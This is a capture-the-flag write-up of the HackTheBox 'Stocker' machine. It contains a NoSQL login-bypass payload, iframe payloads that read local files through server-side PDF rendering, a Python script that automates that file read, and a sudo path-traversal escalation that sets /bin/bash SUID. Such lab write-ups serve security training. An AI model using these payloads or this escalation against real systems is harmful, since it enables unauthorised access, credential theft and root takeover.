· 5 min read

HackTheBox - Stocker

Writeup for stocker HackTheBox machine.

Writeup for stocker HackTheBox machine.

Enumeration

We performed an NMAP on the machine’s IP to determine the status of its ports. Two open ports were identified, namely ssh and http.

nmap-stocker

We noticed that the domain stocker.htb exists on the http port, so we added it to our /etc/hosts file.

etc/hosts

Website

Upon attempting to open the website, we didn’t find anything noteworthy on the domain stocker.htb. I suggest we seek another subdomain or subdirectory. For this, we can use GoBuster.

gobuster

We discovered an interesting subdomain, dev.stocker.htb. Don’t forget to add it to our /etc/hosts file.

Foothold

dev page

When checking the subdomain of dev.stocker.htb, it appeared to be just a standard login page. We should consult our authentication bypass list.

{"username": {"$ne": null}, "password": {"$ne": null} }

We intercepted the login request using BurpSuite and then changed the post request content to the payload above. Also, don’t forget to switch the content type to json.

burpsuite

We successfully bypassed the authentication!

admin page

While examining the website’s functionality, I deduced that it’s a platform that allows users to add products and generate a sort of receipt from it. This receipt is then rendered in the form of a PDF. This feature is interesting, as rendering data into a PDF can cause a vulnerability. We need to focus on this and try to find any intriguing clues by researching further.

While investigating, I came across this page in bible of payload our Hacktricks: https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf#attachments-pd4ml

Now, we need to find the user input or perhaps intercept it using BurpSuite.

Alt text

When pressing the ‘submit order’ button, this post request is sent to the API. We then receive the orderId which will be used in the URL:

http://dev.stocker.htb/api/po/[**orderId**]

Alt text

We see that the names of the products, as well as their prices and quantities, are shown in the receipt, but not the description. Let’s input our payload into the product’s name field in the request to the API and check the output.

First, let’s use this payload to display the current folder using javascript:

<script> document.write(window.location) </script>

Our payload works as we can see the current file is located in the directory /var/www/dev/pos/64972bd7671649577d0173ae.html.

Let’s try to use this payload to exploit the LFI:

<iframe src=file:///etc/passwd></iframe>

Here is the output of the exploit:

Alt text

We notice that the output script is too small inside this iframe; we can hardly read everything inside it. Let’s increase the size of it to:

<iframe src=file:///etc/passwd height=1000px width=800px></iframe>

Now it looks much better.

Alt text

User

Now we need to use the LFI to find important files. I wrote a script that automates this payload-sending vulnerability.

import PyPDF2
import requests
import json

def create_payload(file_path):
    basket_item = {
        "_id": "638f116eeb060210cbd83a8d",
        "title": f"<iframe src=file:///{file_path} height=1000px width=800px></iframe>",
        "description": "It's a red cup.",
        "image": "red-cup.jpg",
        "price": 32,
        "currentStock": 4,
        "__v": 0,
        "amount": 1
    }
    return {"basket": [basket_item]}

def send_request(payload, url="http://dev.stocker.htb/api/order"):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36",
        "Content-Type": "application/json",
        "Accept": "*/*",
        "Origin": "http://dev.stocker.htb",
        "Referer": "http://dev.stocker.htb/stock",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "en-US,en;q=0.9",
        "Cookie": "connect.sid=s%3AIj-tid5zXvQui3O7Z6D3TOfACmaBP6ep.n4moNS1%2BIMV7UjehsIjyswPhHZfddgRxdTN7GLUPPRo",
        "Connection": "close"
    }
    response = requests.post(url, headers=headers, data=json.dumps(payload))
    return response

def get_order(order_id, url="http://dev.stocker.htb/api/po/"):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36",
        "Accept": "*/*",
        "Origin": "http://dev.stocker.htb",
        "Referer": "http://dev.stocker.htb/stock",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "en-US,en;q=0.9",
        "Cookie": "connect.sid=s%3AIj-tid5zXvQui3O7Z6D3TOfACmaBP6ep.n4moNS1%2BIMV7UjehsIjyswPhHZfddgRxdTN7GLUPPRo",
        "Connection": "close"
    }
    response = requests.get(f"{url}{order_id}", headers=headers)
    if response.status_code == 200:
        with open('order.pdf', 'wb') as f:
            f.write(response.content)
        print('PDF has been written to order.pdf')
        read_pdf('order.pdf')
    else:
        print(f"Failed to get the order. Status code: {response.status_code}")
    return response

def read_pdf(file_path):
    with open(file_path, 'rb') as f:
        pdf = PyPDF2.PdfReader(f)
        num_pages = len(pdf.pages)
        for page in range(num_pages):
            text = pdf.pages[page].extract_text()
            print(f"Page {page + 1}:")
            print(text)

def main():
    file_path = input("Please enter the file path: ")
    payload = create_payload(file_path)
    response = send_request(payload)
    print(response.status_code)
    print(response.text)

    response_data = json.loads(response.text)
    if response_data.get('success'):
        order_id = response_data.get('orderId')
        if order_id:
            print(f"Order ID: {order_id}")
            order_response = get_order(order_id)
            # print(order_response.status_code)
            # print(order_response.text)
        else:
            print("Order ID not found in the response.")
    else:
        print("Request was not successful.")

if __name__ == "__main__":
    main()

With this code, we can easily check each file that we want using LFI. Trying all possibilities, I stumbled upon the file index.js in the folder /var/www/dev. I knew this folder as we saw above when checking the location of the current PDF file.

As we see, we got some credentials. Let’s try to connect using them through SSH and use the user that was found in the /etc/passwd.

Alt text

After several attempts, we now know that the password fits the angoose user. Then, we can get the user flag.

Root

For root, as usual, we try to do sudo -l to check whether the current user has sudo access and to what command it has access.

angoose@stocker:~$ sudo -l
Matching Defaults entries for angoose on stocker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User angoose may run the following commands on stocker:
    (ALL) /usr/bin/node /usr/local/scripts/*.js

We can see that the node command can run as root. This is a pretty easy privilege escalation. The tricky part here is that the run script seems to have to be located inside the scripts folder, and we don’t have write access to it.

Alt text

So, what to do here? We can essentially crawl out of the scripts folder and then launch our script using ../..

Here is how to do it: first, let’s create a .js file anywhere, maybe in the home directory of angoose.

angoose@stocker:~$ touch exploit.js

After that, let’s write this JavaScript code to make the bash binary into suid.

require('child_process').execSync('chmod u+s /bin/bash');

Then, run our code using sudo:

angoose@stocker:~$ sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/exploit.js
angoose@stocker:~$ ls /bin/bash -la
--wS-w--wt 1 root root 1183448 Apr 18  2022 /bin/bash

We have successfully made our /bin/bash into suid. Now, let’s launch another instance of the shell using:

/bin/bash -p

Alt text

Back to Blog